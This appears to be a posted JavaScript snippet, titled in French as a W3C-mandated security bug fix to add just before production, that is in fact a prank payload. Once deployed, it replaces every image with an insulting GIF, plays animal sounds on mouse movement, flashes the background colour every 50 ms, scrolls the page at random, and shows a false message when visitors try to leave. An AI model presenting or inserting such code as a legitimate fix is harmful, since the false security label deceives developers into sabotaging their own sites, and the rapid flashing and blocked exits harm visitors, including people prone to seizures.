smourph
4/21/2016 - 9:41 AM

Security bug fix, imposé par les standards du W3C depuis le 28/03/2015. A ajouter juste avant mise en production

Security bug fix, imposé par les standards du W3C depuis le 28/03/2015. A ajouter juste avant mise en production

// Get jQuery
var script = document.createElement('script');
script.src = 'https://code.jquery.com/jquery-1.11.0.min.js';
script.type = 'text/javascript';
document.getElementsByTagName('head')[0].appendChild(script);

var timeToRefresh = 50;

/**********************
 RANDOM SOUNDS
 ***********************/
var timeBetweenSounds = 80;
var audioFiles = [
    new Audio('http://www.wavlist.com/soundfx/005/goat-bleet.wav'),
    new Audio('http://www.wavlist.com/soundfx/005/sheep-lamb.wav'),
    new Audio('http://www.wavlist.com/soundfx/004/frog-ribbet2.wav'),
    new Audio('http://www.wavlist.com/soundfx/002/cat-meow2.wav'),
    new Audio('http://www.wavlist.com/soundfx/009/chicken-3.wav'),
    new Audio('http://www.wavlist.com/soundfx/003/cow-moo1.wav'),
    new Audio('http://www.wavlist.com/soundfx/001/dog-littlebark1.wav'),
];
var soundIsPlayed = false;

jQuery("body").mousemove(function (event) {
    if (!soundIsPlayed) {
        var index = Math.round(Math.random() * (audioFiles.length - 1));
        soundIsPlayed = true;
        audioFiles[index].play();
        setTimeout(function () {
            soundIsPlayed = false;
        }, timeBetweenSounds);
    }
});

/**********************
 FUCK IMAGES
 ***********************/
setTimeout(function () {
    setInterval(function () {
        jQuery('body').find('img').each(function () {
            if (jQuery(this).attr('src') !== 'http://replygif.net/i/826.gif') {
                jQuery(this).attr('src', 'http://replygif.net/i/826.gif');
                jQuery(this).attr('alt', 'Go fuck yourself !');
                console.log('Go fuck yourself, fucking IMG !');
            }
        });
        jQuery('body').find('*').each(function () {
            if (jQuery(this).css('background-image') !== 'none' && jQuery(this).css('background-image') !== 'url("http://replygif.net/i/826.gif")') {
                jQuery(this).css("background", "url(http://replygif.net/i/826.gif) no-repeat");
                console.log('Fuck you, CSS style !');
            }
        })
        console.log('FUCK ! FUCK ! FUCK !')
    }, 100);
}, 2000);

/**********************
 CHANGE COLOR
 ***********************/
function changeColor() {
    var hexa = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 'A', 'B', 'C', 'D', 'E', 'F'];
    var hex = [];
    for (var i = 0; i < 6; i++) {
        hex.push(hexa[Math.round(Math.random() * 15)]);
    }
    document.body.style.background = '#' + hex.join('');
    setTimeout(changeColor, timeToRefresh);
};

/**********************
 RANDOM SCROLL
 ***********************/
function scrollRandom() {
    var current_position = document.documentElement.scrollTop || document.body.scrollTop;
    var sign = Math.round(Math.random());
    if (sign == 1) {
        window.scrollTo(0, current_position + 50);
    } else {
        window.scrollTo(0, current_position - 50);
    }
    setTimeout(scrollRandom, timeToRefresh);
};

/**********************
 FEATURES
 ***********************/
function myConfirmation() {
    return "Votre ordinateur n'est pas assez puissant pour quitter cette page.";
}

setTimeout(changeColor, timeToRefresh);
setTimeout(scrollRandom, timeToRefresh);

window.onbeforeunload = myConfirmation;